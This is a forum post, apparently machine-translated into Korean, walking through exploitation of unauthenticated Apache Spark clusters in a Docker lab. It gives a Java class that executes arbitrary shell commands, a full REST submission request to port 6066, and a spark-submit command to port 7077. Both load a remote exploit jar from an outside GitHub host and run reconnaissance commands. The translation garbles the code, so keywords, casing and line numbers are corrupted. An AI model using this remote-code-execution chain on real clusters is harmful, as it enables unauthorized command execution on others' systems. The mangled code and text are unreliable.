KoreanHackerTeam
Moderator
Apache Spark 未授权访问漏洞
Apache Spark는 사용자가 응용 프로그램을 관리 노드에 제출하고 클러스터 실행에 배포 할 수 있도록 지원하는 클러스터 컴퓨팅 시스템입니다. 관리 노드가 ACL (Access Control)을 시작하지 않으면 클러스터에서 임의의 코드를 실행할 수 있습니다.漏洞环境
클러스터에 마스터와 슬레이브가있는 독립형 모드에서 Apache Spark 클러스터를 시작하려면 다음 명령을 실행합니다.1
Docker -Compose Up -D
환경이 시작된 후 http://your-IP:8080을 방문하여 마스터 관리 페이지를보고 http://your-IP:8081을 방문하여 슬레이브 관리 페이지를보십시오.
漏洞利用
이 취약점의 본질은 무단 사용자가 실제로 악의적 인 코드 인 관리 노드에 응용 프로그램을 제출할 수 있다는 것입니다.제출하는 두 가지 방법이 있습니다.
레버리지 REST API
레버리지 제출 게이트웨이 (포트 7077에 통합)
응용 프로그램은 Java 또는 Python 일 수 있으며 가장 간단한 클래스입니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
27
28
29
30
31
32
33
34
import java.io.bufferedReader;
import java.io.inputStreamReader;
공개 클래스 익스플로잇 {
public static void main (string [] args)은 예외 {
문자열 [] cmds=args [0] .split ( ',');
for (string cmd : cmds) {
System.out.println (CMD);
System.out.println (ExecuteCommand (cmd.trim ());
system.out.println ( '==============================================
}
}
//https://www.mkyong.com/java/how-to-execute-cell-command-from-java/
개인 정적 문자열 executeCommand (String Command) {
StringBuilder output=new StringBuilder ();
노력하다 {
프로세스 p=runtime.getRuntime (). exec (명령);
p.waitfor ();
bufferedReader reader=new bufferedReader (new inputStreamReader (p.getInputStream ()));
문자열 라인;
while ((line=reader.readline ())!=null) {
output.append (line) .append ( '\ n');
}
} catch (예외 e) {
e.printstacktrace ();
}
return output.toString ();
}
}
항아리로 컴파일하여 HTTP 또는 FTP :에 놓습니다.
1
로드 중...
github.com
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
27
28
29
30
Post/V1/제출/HTTP/1.1 생성
host: 당신의 -ip:6066
accept-encoding: gzip, deflate
accept: */*
수락 language: en
user-agent: Mozilla/5.0 (호환 가능; MSIE 9.0; Windows NT 6.1; Win64; X64; Trident/5.0)
Content-Type: Application/JSON
Connection: 닫기
컨텐츠 길이 : 680
{
'Action ':'CreateSubmissionRequest ',
'clientsparkversion ':'2.3.1 ',
'Appargs ': [
'Whoami, W, Cat /Proc /버전, ifconfig, Route, DF -H, Free -M, Netstat -nltp, PS auxf'
],
'Appresource':'https://github.com/are00t/rce-over-spark/raw/master/exploit.jar ',
'EnvironmentVariables ': {
'spark_env_loaded':'1 '
},
'Mainclass':'Exploit ',
'SparkProperties ': {
'spark.jars':'https://github.com/are00t/rce-over-spark/raw/master/exploit.jar ',
'spark.driver.supervise':'false ',
'Spark.App.Name':'Exploit ',
'spark.eventlog.enabled':'true ',
'spark.submit.deploymode':'클러스터 ',
'Spark.master':'Spark: //your-IP:6066 '
}
}
그중에는 Spark.jars가 컴파일 된 응용 프로그램, MainClass는 실행할 클래스이며 Apples는 응용 프로그램에 전달되는 매개 변수입니다.

반환 된 패키지에는 제출물이있는 다음 http://your-ip:8081/logpage/? driverID={submissionId} logtype=stdout을 방문하여 실행 결과를 볼 수 있습니다.

신청서는 마스터에 제출되며 시청 결과는 신청서가 실행되는 슬레이브입니다 (기본 포트 8081). 실제 전투에는 여러 노예가있을 수 있습니다.
用 REST API 方式提交应用:
6066 포트에 액세스 할 수 없거나 권한 제어가 완료되면 마스터 메인 포트 7077을 사용하여 신청서를 제출할 수 있습니다.이 방법은 Apache Spark와 함께 제공되는 스크립트 빈/스파크 서투리를 사용하는 것입니다.
1
빈/스파크-서브미트-마스터 스파크 : //your-ip:7077 ---deploy-- 모드 클러스터 --class exploit https://github.com/are00t/rce-over-spark/raw/master/exploit.jar id
당신이 지정한 마스터 매개 변수가 REST 서버 인 경우,이 스크립트는 먼저 REST API를 사용하여 응용 프로그램을 제출하려고합니다. REST 서버가 아닌 것으로 밝혀지면 제출 게이트웨이를 사용하여 신청서를 제출하는 것으로 다운 그레이드됩니다.
결과를 보는 방식은 이전의 결과와 일치합니다.